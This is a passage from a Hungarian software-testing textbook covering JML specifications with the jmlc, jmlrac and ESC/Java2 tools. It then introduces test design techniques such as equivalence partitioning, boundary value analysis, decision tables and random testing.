 Kivétel: Zárolt számla nem kérdezhető le, ezért BankingException kivételt kell dobni.

 Keret feltétel: Mindkét esetben egyik mező sem írható, tehát ez a metódus „pure”.

A JML nyelvhez több segédeszköz is létezik. Az első ilyen az Iowa State University JML program. Ez
a következő részekből áll:

 jml: JML szintaxis ellenőrző

 jmlc: Java és JML fordító, a Java forrásban lévő JML specifikációt belefordítja a bájtkódba.

 jmlrac: a jmlc által instrumentált bájtkódot futtató JVM, futtatás közben ellenőrzi a
specifikációt, tehát dinamikus ellenőrzést végez.

Nekünk a JML 5.4 és 5.5 verziót volt szerencsénk kipróbálni. Sajnos ezek csak a Java 1.4 verzióig
támogatják a Java nyelvet. Nem ismerik például a paraméteres osztályokat. Ha simán hívjuk meg a
jmlc parancsot, akkor rengeteg információt kiír, ami esetleg elfed egy hibát. Ezért érdemes a -Q
vagy a -Quite opcióval együtt használni. A BankSzámla példát a következő utasításokkal lehet
ellenőrizni, hogy megfelel-e specifikációjának:

jmlc -Q BankSzámla.java

jmlrac BankSzámla

Persze ehhez a BankSzámla osztályba kell írni egy main metódust is, hiszen az a belépési pont.

Második példa:

//******* AbstractAccount.java *******

package bank3;

3-11
public abstract class AbstractAccount {

//@ public model int balance;

//@ public invariant balance >= 0;

//@ requires amount > 0;

//@ assignable balance;

//@ ensures balance == \old(balance + amount);

public abstract void credit(int amount);

//@ requires 0 < amount && amount <= balance;

//@ assignable balance;

//@ ensures balance == \old(balance) - amount;

public abstract void debit(int amount);

//@ ensures \result == balance;

public abstract /*@ pure @*/ int getBalance();

//******* Account.java *******

package bank3;

public class Account extends AbstractAccount{

private /*@ spec_public @*/ int balance = 0; //@ in


super.balance;

//@ private represents super.balance = balance;

public void credit(int amount) { balance += amount; }

public void debit(int amount) { balance -= amount; }

public int getBalance() { return balance; }

Ez a példa azt mutatja meg, hogyan lehet már az interfészben vagy az absztrakt ős osztályban
specifikálni az elvárt viselkedést. Ehhez egy modell mezőt kell definiálni az ősben (vagy az
interfészben) a „model” kulcsszóval. A konkrét gyermekben az ősben specifikált viselkedést meg
kell valósítani. Ehhez meg kell mondani, hogy melyik konkrét mező valósítja meg a modell mezőt.
Ez a „represents” kulcsszó használatával lehetséges.
3-12
A fenti példát a következő utasításokkal lehet ellenőrizni:

jmlc -Q bank3/*.java

jmlrac bank3.Account

Persze ehhez a Account osztályba kell írni egy main metódust is, hiszen az a belépési pont.

Harmadik példa:

//******* Timer.java *******

package bank4;

public interface Timer{

//@ public instance model int ticks;

//@ public invariant ticks >= 0;

//@ assignable this.ticks;

//@ ensures this.ticks == ticks;

void setTimer(int ticks);

//******* Dish.java *******

package bank4;

public class Dish implements Timer{

private /*@ spec_public @*/ int timer; //@ in ticks;

//@ private represents ticks = timer;

public void setTimer(int timer) { this.timer = timer;}

Ez a példa azt mutatja meg, hogyan kell modell mezőt létrehozni az interfészben. Mindent
ugyanúgy kell csinálni, csak a „model” kulcsszó elé be kell írni az „instance” kulcsszót, ami azt fejezi
ki, hogy a modell változó példány szintű. Erre azért van szükség, mert egyébként Javában minden
interfész mező statikus.

Láttuk, hogy a specifikáció dinamikus ellenőrizhető az Iowa State University JML programmal.
Szerencsére lehetséges a statikus ellenőrzés is az ESC/Java2 programmal.

Az ESC/Java2 (Extended Static Checker for Java2) egy olyan segédeszköz, amely ellenőrizni tudja,
hogy a Java forrás megfelel-e a JML specifikációnak. Az ESC/Java2 hasonlóan a FindBugs
3-13
programhoz figyelmezteti a programozót, ha null referenciára hivatkozik, vagy más gyakori
programozói hibát vét. Erre akkor is képes, ha egy JML sor specifikációt se írunk. Nyilván, ha
kiegészítjük a kódunkat JML specifikációval, akkor sokkal hasznosabban tudjuk használni.

Az ESC/Java2 program is csak a Java 1.4 verziójáig támogatja a Java nyelvet. Ez is telepíthető
Eclipse pluginként a http://kind.ucd.ie/products/opensource/Mobius/updates/ címről.

Miután feltelepítettük két új perspektívát kapunk, a Validation és a Verification nevűt. Az elsőben


3 új gombban bővül a menüsor alatti eszköztár. Ezek a következőek: JML, JMLC, és a JMLRAC gomb,
amelyek az azonos nevű segédprogramot hívják az Iowa State University JML programcsomagból.

A második perspektívában 5 új gombot kapunk. Ezek közül a legfontosabb az első, amely elindjtja a
ESC/Java2 ellenőrző programot. A többi gomb balról jobbra haladva a következők: jelölők
(jelölőknek nevezzük a hiba helyét jelölő piros ikszet) törlése, ugrás jelölőre, ellenörzés
engedélyezése, ellenőrzés tiltása. Ezeket nem találtuk különösebben hasznosnak. Ami hasznos volt
számunkra az az ESC/Java2 menüben található Setup menü. Itt lehet bekapcsolni az automatikus
ellenőrzést, aminek hatására minden egyes mentés után lefut az ESC/Java2.

Nézzünk egy egyszerű példát, amikor JML specifikáció nélkül is hibát fedez fel a kódunkban az
ESC/Java2.

package probe;

public abstract class Decorator extends Car {

Car target;

public int getSpeed(){

return target.getSpeed();

Itt az ötödik sorra azt a hibát kapjuk, hogy „Possible null dereference (Null)”. Ez a figyelmeztetés
teljesen jogos, segíti a programozót kijavítani egy hibát.

Nézzük meg azt a példát, amivel a FindBugs nem boldogult:


public static void main(String[] args){
Object o = null;
int i = 1;
if(i == 1) o = "hello";
System.out.println(o.toString());
}

Erre az ESC/Java2 semmilyen hibát nem ad. Ez azért lehetséges, mert mögötte egy automatikus
tételbizonyító áll, ami meg tudja nézni, hogy valamely feltétel igaz vagy sem az egyes lehetséges
végrehajtási utakon.

3-14
Ugyanakkor a ESC/Java2-höz adott Simplify nevű automatikus tételbizonyító nem túl okos. Például
nem tudja, hogy két pozitív szám szorzata pozitív, ezért ad hibát a következő példára:

public class Main {

//@ requires n>=0;

//@ ensures \result > 0;

public int fact(int n){

if (n==0) return 1;

return n*fact(n-1);

Itt az ESC\Java2 hibásan a „Postcondition possibly not established (Post)” figyelmeztetést adja,
pedig a függvény tökéletesen betartja az utófeltételét. Szerencsére az ESC\Java2 alatt kicserélhető
az automatikus tételbizonyító.

3-15
Tartalomjegyzék
3 Statikus tesztelési technikák ...................................................................... ............................................. 3-1
3.1 Felülvizsgálat................................. ................................................... ............................................... 3-1
3.1.1 Informális felülvizsgálat ........................ ................................................... ............................... 3-2
3.1.2 Átvizsgálás ...................................... ................................................... ..................................... 3-2
3.1.3 Technikai felülvizsgálat ......................... ................................................... ............................... 3-4
3.1.4 Inspekció ........................................ ................................................... ...................................... 3-5
3.2 Statikus elemzés .............................. ................................................... ............................................ 3-6
3.2.1 Statikus elemzés csak a forráskód alapján ........................................................... .................. 3-7
3.2.2 Statikus elemzés a forráskód és modell alapján ...................................................... ............... 3-8

3-16
Szoftver tesztelés

4 Teszt tervezési technikák


Az előző fejezetben áttekintettük a statikus tesztelési technikákat. Ezek a módszerek nem
igénylik a tesztelendő rendszer futtatását, sőt bizonyos esetekben még a forráskód meglétét
sem.

A dinamikus tesztelési technikák viszont a tesztelendő rendszer futtatását igénylik. Ebben a


fejezetben a dinamikus tesztek tervezési kérdéseivel foglalkozunk. Definiáljuk a szükséges
fogalmakat, megismerjük a teszt tervezési technikák megközelítési módjait, áttekintjük a
legelterjedtebb specifikáció alapú, struktúra alapú és gyakorlat alapú tesztelési technikákat,
majd megvizsgáljuk az egyes technikák közötti választás szempontjait.

A dinamikus tesztelési technikák elsősorban a komponens teszt, azon belül is főleg a unit-
teszt (egységteszt) fázis eszköze.

Mivel a teszteléssel kapcsolatos magyar nyelvű irodalom máig is igen kevés, az érdeklődőbb
hallgatók elsősorban az angol nyelvű szakirodalom tanulmányozása során juthatnak új
ismeretekhez. Ennek megkönnyítésére a fontosabb fogalmak első előfordulása során annak
angol nyelvű megnevezését is közöljük.

4.1 Alapfogalmak
A dinamikus tesztek tervezése alapvetően az alábbi három lépésből áll:

• A tesztelés alanyának, céljának meghatározása (test condition)


• Tesztesetek (test cases) specifikálása
• Teszt folyamat (test procedure) specifikálása

A tesztelési folyamathoz kapcsolódnak még a teszt készlet (test suite), hibamodell és


lefedettség (test coverage) fogalmak is.

4.1.1 Tesztelés alanya (test condition)


A tesztelés alanya lehet rendszer egy olyan jellemzője, amely ellenőrizhető egy vagy több
teszt esettel. Ilyen lehet például:

• funkció,
• tranzakció,
• képesség (feature),
• minőségi jellemző,
• strukturális elem.

4-1
Szoftver tesztelés

4.1.2 Teszteset
Egy teszteset az alábbi összetevőkből áll:

• végrehajtási prekondíciók (preconditions)


• input értékek halmaza
• elvárt eredmény
• végrehajtási posztkondíciók (postconditions)

Egy teszteset célja egy meghatározott vezérlési út végrehajtatása a tesztelendő program


egységben, vagy egy meghatározott követelmény teljesülésének ellenőrzése.

Egy teszteset végrehajtása esetén a rendszert egy megadott kezdő állapotban kell hozni
(prekondíciók), megadott input értékek halmazával végre kell hajtatni a tesztelt elemet,
majd a teszt futásának eredményét össze kell hasonlítani az elvárt eredménnyel és
ellenőrizni kell, hogy a végrehajtás után a rendszer az elvárt állapotba (posztkondíciók)
került-e.

Példaként tételezzünk fel egy olyan program modult, amely a felhasználótól bekér néhány
adatot, és megnyomja a „Számolj”gombot. A modul a megadott adatokat és adatbázisban
tárolt egyéb értékeket felhasználva elvégez valamilyen számítást, majd az eredményeket
adatbázisba menti. Ennek a modulnak egy tesztesete tartalmazza:

• a felhasználói adatokat (input értékek halmaza),


• a számítás helyes eredményét (elvárt eredmény),
• prekondícióként azt, hogy a felhasználó megnyomta a „Számolj” gombot, és az
adatbázis tartalmazza a számításhoz szükséges értékeket,
• posztkondícióként, hogy a számítás eredményei bekerültek az adatbázis megfelelő
tábláiba.

4.1.3 Teszt specifikáció


Egy teszteset végrehajtásához szükséges tevékenységek sorozatának a leírása. Szokás teszt
forgatókönyvnek (manual test script) is nevezni.

4.1.4 Tesztkészlet
Egy tesztkészlet tesztesetek és hozzájuk tartozó teszt specifikációk halmaza. Csoportosítható
egy teszt alanyra, vagy egy vizsgált hibára.

A tesztkészletet megfelelő módon archiválni kell, mert egy tesztkészletet a fejlesztés során
többször is végre kell hajtani, sőt, a rendszer későbbi változtatásainál is szerepet kap, annak
ellenőrzésére használható, hogy a változtatás hatására nem keletkezett-e újabb hiba.

4-2
Szoftver tesztelés

4.1.5 Hibamodell
Azon (feltételezett) szoftver hibák halmaza, amelyre a teszt tervezés irányul. A tesztesethez
kapcsolódó példához a hibamodell azt rögzítheti, hogy az alábbi hibák következhetnek be:

• számítási hibák,
• adatbázis lekérdezési hibák (rossz adatokat használunk fel a számításhoz),
• az adatbázisba módosításának hibák (a számítás eredménye rosszul kerül be az
adatbázisba).

A hibamodell a tesztesetek tervezéséhez ad támpontokat.

4.1.6 Teszt folyamat


Egy rendszer teljes tesztelésének megtervezéséhez (ami a teszt menedzsment egyik feladata,
így a következő fejezetben foglalkozunk vele részletesebben), az alábbiakat foglalja
magában:

• a szükséges tesztelési célok meghatározása,


• minden tesztelési célhoz a szükséges tesz készlet definiálása
• az egyes teszt készletekben foglalt tesztek ütemezésének és a végrehajtásuk
dokumentálásának megtervezése.

A teszt folyamat terve a rendszer specifikációjának egy fejezete lehet, de összetettebb


rendszerek esetén általában külön teszt specifikáció készül.

4.1.7 Teszt lefedettség


A teszt lefedettség a számszerű értékelése annak, hogy a tesztelési tevékenység mennyire
alapos, illetve hogy egy adott időpontban hol tart. A „Már majdnem kész vagyok, főnök!” és
a „Három hete ezen dolgozom, főnök!” meglehetősen szubjektív mértékek. (Nem tudom
megállni ezen a ponton, hogy ne idézzem a szoftverfejlesztés egyik alapvető „természeti
törvényét”: egy szoftver projekt a rendelkezésre álló idő 90%-ában 90%-os készültségi fokon
áll…)

Amióta felismertük, hogy a tesztelés a fejlesztési folyamat fontos (és sajnos erőforrás
igényes, tehát költséges) része, folyamatosan keressük a folyamat előrehaladásának a mérési
lehetőségeit.

A teszt lefedettség számszerűsítése alkalmas a tesztelési tevékenységet értékelésére az


alábbi szempontok szerint:

• Lehetőséget ad a tesztelési tevékenység minőségének mérésére.

4-3
Szoftver tesztelés

• Lehetőség biztosít arra, hogy megbecsüljük, ennyi erőforrást kell még a fejlesztési
projekt hátralevő idejében tesztelési tevékenységre fordítani.

Az egyes tesztelési technikák más és más lefedettségi mérőszámokat alkalmaznak. A


specifikáció alapú technikák esetén arra adhatnak választ, hogy a követelmények milyen
mértékben lettek tesztelve, a struktúra alapú technikák esetén pedig, hogy a kód milyen
mértékben lett ellenőrizve.

A lefedettségi mérőszámok tehát arra nézve adnak információt, hogy milyen készültségi
szinten áll a tesztelési tevékenység, és a tesztelési terv részeként meghatározzák, hogy
milyen feltételek esetén tekinthetjük a tevékenységet késznek.

4.2 A teszt tervezési technikák fajtái


A szoftver technológia kialakulása óta számos teszt tervezési technika alakult ki. Ezek
különböznek a hatékonyságuk, implementálásuk nehézsége, az elméleti háttér és a
mindennapi fejlesztési gyakorlatból leszűrt heurisztikák arányában.

Ha áttekintjük a számos publikált technikát és értékeljük ezeket a gyakorlati alkalmazhatóság


szempontjából, akkor a technikákat három lényeges csoportba sorolhatjuk:

• Specifikáció alapú technikák. Ezek a módszerek a teszteseteket közvetlenül a


rendszer specifikációjából (modelljéből) vezetik le. Black-box technikáknak is
nevezzük ezeket, mert az egyes szoftver modulok belső szerkezetének ismerete
nélkül, az egyes modulok által teljesítendő funkcionalitások alapján tervezhetjük meg
a teszt eseteket.
• Modell alapú technika (Model-driven testing). Valójában az előző csoportba tartozik,
csak formalizáltabb technika. Közvetlenül az UML modellből vezeti le a teszteseteket,
és formalizált teszt specifikációt alkalmaz. Erre használható az UML kiterjesztése.
(UTP – UML Testing Profile.)
• Struktúra alapú technikák. Ezek a módszerek a kód ismeretében határozzák meg a
teszteseteket. White-box technikáknak is nevezzük.
• Gyakorlat alapú technikák. A tesztelőknek a munkájuk során megszerzett
tapasztalatira épülő, a szakmai intuíciókat is értékesítő technikák.

Természetesen léteznek olyan teszt tervezési módszerek is, amelyek egyik fenti kategóriába
sem sorolhatók be, azonban a gyakorlatban alkalmazott módszerek összefogására a jelen
jegyzet szintjén ezek a kategóriák beváltak.

A továbbiakban ennek a csoportosításnak megfelelően foglaljuk össze az ismertebb


technikákat.

4.3 Specifikáció alapú technikák


Ezek a technikák a tesztelés alapjaként a rendszer specifikációját, esetleg formális modelljét
tekintik. Amennyiben a specifikáció jól definiált és megfelelően strukturált, ennek elemzése

4-4
Szoftver tesztelés

során könnyen azonosíthatjuk a tesztelés alanyait (test conditions), amelyekből pedig


származtathatjuk a teszteseteket.

A specifikáció soha nem azt rögzíti, hogy hogyan kell a rendszernek megvalósítania az elvárt
viselkedést (ennek meghatározása a tervezés feladata), csak magát a viselkedést definiálja. A
specifikáció és a tervezés a fejlesztés folyamatában is külön fázist képviselnek, és gyakran a
fejlesztő csoporton belül nem is ugyanazok a részvevők végzik. A specifikációs fázis
legtöbbször megelőzi a tervezési fázist. Ez lehetővé teszi a munkafolyamatok
párhuzamosítását: a specifikáció alapján a tesztmérnökök kidolgozhatják a teszteseteket
miközben a rendszer tervezése és implementálása folyik. Ha az implementáció elkészül, a
már kész tesztesetek futtatásával lehet ellenőrizni.

A tevékenységek ilyen párhuzamosítása a fejlesztés átfutási idejének rövidítésén túl a


specifikáció ellenőrzésére is alkalmas. Ha ugyanis egy, a működő program ismerete nélkül,
csak a specifikáció elemzése alapján megtervezetett teszteset hibát mutat ki, annak két oka
lehet

• a tervezés vagy az implementáció során a fejlesztők által elkövetett hiba,


• ugyanazt a követelményt a teszt mérnök és a tervező másként értelmezte – ez a
specifikáció hibája.

Nem minden fejlesztési projekt alapul pontosan definiált specifikáción. Ebben az esetben a
specifikáció alapú tesztesetek megtervezése, illetve a tervezéshez szükséges információk
megszerzése párhuzamosan, egymástól elkülönítve történhet, ami többlet erőforrások
felhasználását, és a félreértések esélyének növekedését jelenti.

Van azonban olyan eset is, amikor a formális specifikáció hiánya nem jelenti a tesztelési
tevékenység megnehezítését. Az agilis fejlesztési szemlélet ugyanis nem követeli meg
formális specifikáció elkészítését. Ez a megközelítés azonban éppen a tesz tervezés
fontosságát emeli ki: a specifikáció szerepét a tesztesetek veszik át: a fejlesztés során először
egy funkcióhoz tartozó teszteseteket kell megtervezni. Az implementációs fázis befejezését
az jelenti, ha az összes (előre megtervezett) teszteset hiba kimutatása nélkül fut le.

A tesztelési technikák ismertetése során többször fogunk hivatkozni az alábbi


„specifikációkra”:

S1: Készítsünk programot, amely beolvas egy egész számot, és kiírja, hogy az negatív, pozitív,
vagy nulla-e.

S2: Készítsünk programot, amely beolvas három egész számot, amelyek egy háromszög
oldalhosszait reprezentálják. A feladat annak megállapítása, hogy a bemeneti adatok
általános, egyenlőszárú vagy egyenlő oldalú háromszöget alkotnak-e.

A tesztelési folyamat nehézségére utal, hogy ennek a nagyon egyszerű specifikációnak


megfelelő programnak a korrekt ellenőrzésére is számos teszt esetet kell definiálnunk.

4-5
Szoftver tesztelés

A továbbiakban áttekintjük a legismertebb specifikáció alapú tesztelési technikákat.

4.3.1 Ekvivalencia particionálás (Equivalence partitioning)


Ennek a technikának az alapja az a megfigyelés, hogy vannak olyan különböző input értékek,
amelyekre a programnak ugyanúgy kell viselkednie.

Ekvivalencia osztálynak nevezzük az input értékek olyan halmazát, amelyre ugyanúgy kell
viselkednie a programnak. Ez azt jelenti, hogy egy ekvivalencia osztályhoz elég egy teszt
esetet megtervezni és lefuttatni, mert az osztályhoz tartozó lehetséges tesztesetek

• ugyanazt a hibát fedhetik fel,


• ha egy teszteset nem fed fel egy hibát, azt az osztályhoz tartozó más tesztesetek sem
fogják felfedni.

Az ekvivalencia osztályok meghatározása jelentősen csökkentheti a szükséges tesztesetek


számát. Az S1 specifikációnak megfelelő program kimerítő tesztelése esetén a tesztesetek
száma az ábrázolható egész számok számával azonos. Nyilvánvalóan azonban a tesztesetek
száma háromra korlátozható, mert feltételezhető, hogy ha a program az 1 bemenetre a
„pozitív” választ adja, akkor 23458-re is azt fogja adni.

Az ekvivalencia osztályok meghatározása heurisztikus folyamat. Meghatározásuk során meg


kell keresnünk az érvényes és az érvénytelen bemenetek osztályát is.

Az S1 specifikáció matematikai értelmezése szerint nem lehetnének érvénytelen bemenetek,


hiszen minden egész szám besorolható a specifikáció szerinti kategóriák valamelyikébe. Egy
számítógépes program azonban nem képes az egész számok teljes halmazát leképezni, így
meg kell vizsgálni azt az esetet, hogy ha az input olyan egész számot tartalmaz, ami az
ábrázolási tartományok kívülre esik.

Az ekvivalencia osztályok átfedhetik egymást. Ennek felismerése tovább csökkentheti a


szükséges tesztesetek számát, hiszen a közös részhalmazból választott teszteset az átfedett
osztályok mindegyikére érvényes.

Az S2 specifikációra ekvivalencia osztályok lesznek például

• három olyan pozitív szám, ami általános háromszöget alkot (érvényes ekvivalencia
osztály)
• Az egyik szám negatív (nem érvényes ekvivalencia osztály)
• stb.

4.3.2 Határérték analízis (Boundary value analysis)


Ennek a technikának az alapja az a megfigyelés, hogy a határértékek kezelésénél
könnyebben követnek el hibát a programozók, mint az „általános” eseteknél.

4-6
Szoftver tesztelés

Célszerű tehát az ekvivalencia osztályok határértékeit külön megvizsgálni.

Az S2 specifikáció esetén ilyen határértékek például:

• két szám összege egyenlő a harmadikkal


• mindhárom szám 0

Figyelni kell a kimeneti ekvivalencia osztályok határértékeit is. Ehhez persze sokszor
"visszafelé" kell gondolkodni, tehát meg kell határozni azon input értékek halmazát, amelyek
határértékként kezelhető kimeneteket produkálnak.

Tipikus probléma a konténer típusú adatszerkezetek elemszáma, vagy a sorszámozott típusú


adatszerkezetek "végei"!

Példaként vegyük egy program modult, amelynek feladata egy minta megkeresése egy
sorozatban. A határérték analízis során megtalálható tesztesetek:

• 0 hosszúságú sorozat
• 1 hosszúságú sorozat, a minta nincs benne / a minta benne van
• >1 hosszúságú sorozat, a minta az első / utolsó helyen van
• 2 hosszúságú sorozat (nincs benne / első /utolsó)
• nagyon nagy elemszámú sorozat

4.3.3 Ok-hatás analízis (Cause-effect analysis)


Ez a technikai egy döntési táblát épít fel, amelynek az oszlopai adják meg a definiálandó
teszteseteket, ezért döntési tábla (decision table) technikának is nevezik.

A módszer alapgondolata az, hogy a specifikáció gyakran olyan formában írja le a rendszer
által megvalósítandó üzleti folyamatokat, hogy az egyes tevékenységeknek milyen bemeneti
feltételei vannak. Az előző két módszer nem vizsgálja a bementi feltételek kombinációit.

A bemeneti feltétel (ok) lehet például:

• egy input adat valamilyen értékére vonatkozó előírás,


• input adatok egy ekvivalencia osztálya,
• valamilyen felhasználói akció vagy egyéb esemény bekövetkezése stb.

A kimeneti feltétel (hatás) megmondja, hogy az okok egy kombinációjára a rendszernek


milyen állapotot kell elérnie.

A bementi és kimenti feltételekhez logikai érték rendelhető. (Teljesül-e: igen-nem). Ez a


megközelítés a rendszert egy logikai hálózatnak tekinti, ahol a lehetséges bemenetekhez a
specifikáció által megadott szükséges kimeneteket rendeljük hozzá. Ennek a logikai
hálózatnak az igazságtáblája egy döntési táblázatban ábrázolható. A táblázat soraiban az

4-7
Szoftver tesztelés

okokat és a hatásokat soroljuk fel, a cellákban pedig azok logikai értéke található. A táblázat
minden egyes oszlopa egy megvalósítandó teszt esetet definiál.

Lássunk erre egy egyszerű példát:

Egy áruház pontgyűjtő kártyát bocsát ki. Minden vásárló, akinek van ilyen kártyája, minden
vásárlása során dönthet, hogy 5% kedvezményt kér a számla összegéből, vagy a kártyán lévő
pontjait növeli meg. Az a vásárló, akinek nincs ilyen kártyája, szintén megkaphatja az 5%
kedvezményt, ha 50.000 Ft felett vásárol.

A bemeneti feltételek (okok) ebben az esetben:

• Van-e pont pontgyűjtő kártya?


• Kéri-e a kártyatulajdonos a kedvezményt?
• 50.000 Ft felett van-e a vásárlás összege?

A kimeneti feltételek (hatások):

• Nincs kedvezmény
• Kedvezmény jóváírása
• Pontok jóváírása

A döntési tábla:

T1 T2 T3 T4
Okok:
O1 Van-e pontgyűjtő kártya? I I H H
O2 Kéri-e a kártyatulajdonos a H I - -
kedvezményt?
O3 50.000 Ft felett van-e a vásárlás - - H I
összege?
Hatások:
H1 Nincs kedvezmény I H I H
H2 Kedvezmény jóváírása H I H I
H3 Pontok jóváírása I H H H

A táblázatban az Igaz – Hamis logikai értékek mellett megjelenik a – jel is, amelynek kétféle
jelentése lehet:

• a bemeneti feltételt a többi feltétel adott állapota kizárja (mint az O2 sorban),


• a kimeneti feltétel a többi feltétel adott állapota mellett független a bemeneti
feltétel állapotától (mint az O3 sorban).

Ez a jelölés (amely egyfajta háromértékű logikát használ) csökkenti az oszlopok (és ezzel a
szükséges tesztesetek) számát.

4-8
Szoftver tesztelés

Ha a döntési táblát egy logikai hálózat igazságtáblázatának tekintjük, a bementi feltételek


összes lehetséges kombinációit tartalmaznia kellene. Ezek száma, tehát a döntési tábla
oszlopainak a száma igen nagy lehet. A teszt tervezés számára hasznos döntési táblában az
oszlopos számát csökkentheti:

• a példában is alkalmazott „háromértékű logika” használata,


• az a tény, hogy a specifikáció szerint egyes bemeneti feltételek egymást kizárhatják,
• nem minden lehetséges bemeneti feltétel kombinációhoz tartozik hatás.

A teljes döntési táblától megkülönböztetve az így kapott táblázatot szűkített döntési


táblázatnak (limited entry decision table) nevezzük.

A specifikációból előállított döntési tábla, amellett hogy jól áttekinthető kiindulópontja lehet
a tesztesetek tervezésének, „mellékhatásként” alkalmas a specifikáció konzisztenciájának és
teljességének az ellenőrzésére is, ezáltal a specifikáció tesztelésének is eszköze. A
specifikáció hiányosságaira utalhat például az, hogy táblázatban tudunk olyan oszlopot
előállítani, amelyben a bemeneti feltételeknek egy, a valóságban előfordulható kombinációja
található, de nem tartozik hozzá a specifikációban hatás. (Hiányos specifikáció.)

A döntési tábla előállításának van egy formális módszere, amely főleg nagy méretű
táblázatok esetén lehet hasznos. Ehhez ismét abból kell kiindulni, hogy a rendszert egy
logikai hálózatként tekinthetjük, ahol a bementi feltételek, a döntésekhez szükséges
közbenső feltételek és a kimenetet jelentő hatások a hálózat elemei. Az ilyen hálózatokat az
úgynevezett bool gráffal ábrázolhatjuk. A bool gráf jellemzői:

• Csomópontjai a 0 vagy 1 (igaz/hamis) értékeket vehetik fel.


• Az irányított élek logikai műveleteket jelentenek
• Egy csomópont értékét a befutó élek kiindulási csomópontjainak értéke, és a
csomóponthoz rendelt művelet határozza meg.
• A gráfban minden ok és minden hatás egy csomópontként jelenik meg, ezek között
lehetnek közbenső állapotok.
• Az okokban megfelelő csomópontokhoz csak kiinduló élek tartoznak.
• A hatásoknak megfelelő csomópontokból nem indulhatnak ki élek.

A bool gráf alapelemeinek egy lehetséges jelölésmódja:

4-9
Szoftver tesztelés

4-1. ábra A bool gráf jelölésrendszere

A gráfot a specifikációból építjük fel, az alábbiak szerint:

• ok: egy bemeneti feltétel vagy egy bemeneti ekvivalencia osztály


• hatás: a kimeneti feltétel
• minden ok és hatás egy számot kap
• a tartalmat elemezve építjük fel a gráfot
• feljegyezzük azokat a feltételeket, amelyeket nem tudtunk a gráffal ábrázolni.

A gráfból előállítjuk annak igazságtáblázatát, az alábbiak szerint

• A cellákban 0 vagy 1 szerepel


• A sorok az okok és a hatások
• Az oszlopok számát az adja meg, hogy hány lehetséges bemeneti kombináció tudja
előidézni legalább egy kimenet 1 értékét.
• Az oszlopok számát csökkentheti, ha a hatásokra kirótt korlátozásokat figyelembe
vesszük.
• A hatásokból kiindulva ("visszafelé") töltjük ki a táblázatot.

Az igazságtáblából a tesztesetek levezetése (azaz a szűkített döntési tábla előállítás) az alábbi


lépésekből áll:

• Kitöröljük azokat az oszlopokat, amelyek ütköznek az okokra feljegyzett


korlátozásokkal
• A maradék oszlopok egy-egy tesztesetnek felelnek meg, ahol
o az okok soraiban 0 a feltételnek nem megfelelő adatot, 1 a feltételnek
megfelelő adatot jelent,
o a hatások 0 – 1 értékei adják az elvárt eredményt.

4-10
Szoftver tesztelés

4.3.4 Véletlenszerű adatok generálása


Ez a technika azon alapul, hogy automatikusan, véletlenszerűen állítunk elő bemeneti
adatokat, és ezekkel futtatjuk a tesztelendő modult. Bár ennek a módszernek a hibafeltáró
képessége is véletlenszerűnek tűnik, számos szempont szól az alkalmazása mellett:

• Kis erőforrás igény.


• Viszonylag könnyen automatizálható.
• Nagytömegű adattal tesztelhető a modul/rendszer.
• A "vak tyúk is talál szemet" elv alapján esetleg olyan hibára is fényt deríthet, amelyre
a determinisztikus tesztek tervezése során nem gondoltunk.
• Ez a módszer használható "monkey test"-ként, amellyel a próbálkozó felhasználó
viselkedéséhez hasonló hatást érhetünk el.
• Terhelési tesztre is alkalmas lehet.

A véletlenszerű adatok generálása mindig egy adott tartományba eső (általában egyenletes
eloszlású) számok előállítását jelentik. A tartomány lehet az adott adat érvényességi
tartomány, vagy éppen azon kívüli (ebben az esetben a rendszernek a hibás bemenetekre
adott válaszát tesztelhetjük).

Terhelési tesztként használva gyakran lehet becslésünk arról, hogy a bemenetei adatok az
éles használat esetén milyen eloszlást követnek, ilyenkor az egyenletes eloszlás helyett a
becsült eloszlásnak megfelelő adatokat generálhatunk.

A véletlenszerű teszt generálás esetén sajátos problémaként jelenik meg a kimenetek


ellenőrzése. Mivel ez automatizálást feltételező módszer, az elvárt kimentek előállítása és
azoknak a teszt eredményekkel való összehasonlítása is automatizáltan kell történjen. Ez a
probléma a többi technika esetén is felmerül, ezért erre a későbbiekben még visszatérünk.

Ennél a módszernél azonban az is felmerülhet, hogy nem is vizsgáljuk a kimenetek


helyességét, ehelyett a rendszer viselkedésére helyezzük a hangsúlyt, és csak arról akarunk
meggyőződni, hogy a folyamatos működés során nem lépnek fel váratlan események.

4.3.5 Használati eset (use case) tesztelés


A mai fejlesztési projektekben a specifikáció gyakran használt eszköze a használati eset (use
case) modell felépítése. Ilyen esetekben a teszt tervezés vezérfonalát a használati eset
modell elemei alkotják, sőt, a teszteseteket is leírhatjuk használati esetekkel.

Ebben az esetben a használati esetek és a tesztesetek összerendelése hasznos eszköz lehet


annak eldöntésére, ellenőrzésére, hogy hol tartunk a tesztelési folyamatban. Ezt
legegyszerűbben egy teszt lefedettségi mátrixszal ábrázolhatjuk, amit az alábbi ábra mutat:

4-11
Szoftver tesztelés

Használati esetek
Test eset 1 2 3 4 5
1
2
3
4
5

A szürkített cellák azt mutatják, hogy melyik teszteset melyik használati eset funkcióinak
tesztelésére szolgál. A teszt lefedettségi mátrix segíthet a tesz futtatások ütemezésében, és
ellenőrizhető segítségével, hogy minden használati esethez tartozik-e legalább egy teszt
eset.

4.3.6 Az elvárt eredmény előállításának problémája


Az előzőekben mindig feltételeztük, hogy az elvárt eredmény, amit a teszt futás kimenetével
össze tudunk hasonlítani rendelkezésünkre áll.

Ez azonban a gyakorlatban nem mindig ilyen egyszerű, mert az ellenőrzendő modul


működése lehet nagyon bonyolult, sok számítási lépést igénylő folyamat, amit manuálisan
nem tudunk elvégezni. A probléma lehetséges megoldásai:

• A valós feladatnál sokkal kisebb méretű feladatot adunk teszt esetként, amit kézzel is
végig lehet számolni.
• Ugyanazt a problémát más programmal is megoldatjuk, és annak az eredményét
használjuk fel a teszt kimenetének ellenőrzésére.
• Szimulációs szoftvert használunk.
• Bár a kimenetet számszerűen nem tudjuk ellenőrizni, de tudjuk, hogy az
eredménynek bizonyos szerkezeti sajátosságokat kell mutatnia.

Példaként említhetünk egy olyan projektet, amelyben jelen fejezet szerzőjének egy geofizikai
modellező rendszer programjának elkészítése volt a feladata. A matematikai modell egyik
része egy több százezer ismeretlenes lineáris egyenletrendszer együttható mátrixának a
felépítését és az egyenletrendszer megoldását igényelte. Nyilvánvaló, hogy ennek a
modulnak a kimenetét nem lehet úgy ellenőrizni, hogy kézzel kiszámítjuk az eredményt. A
tesztelés ezért több lépcsőben történt:

• Először egy erősen redukált elemszámú (tíz körüli ismeretlent tartalmazó) feladatot
oldattunk meg, amelynek természetesen fizikai realitása nincs, de az eredményét
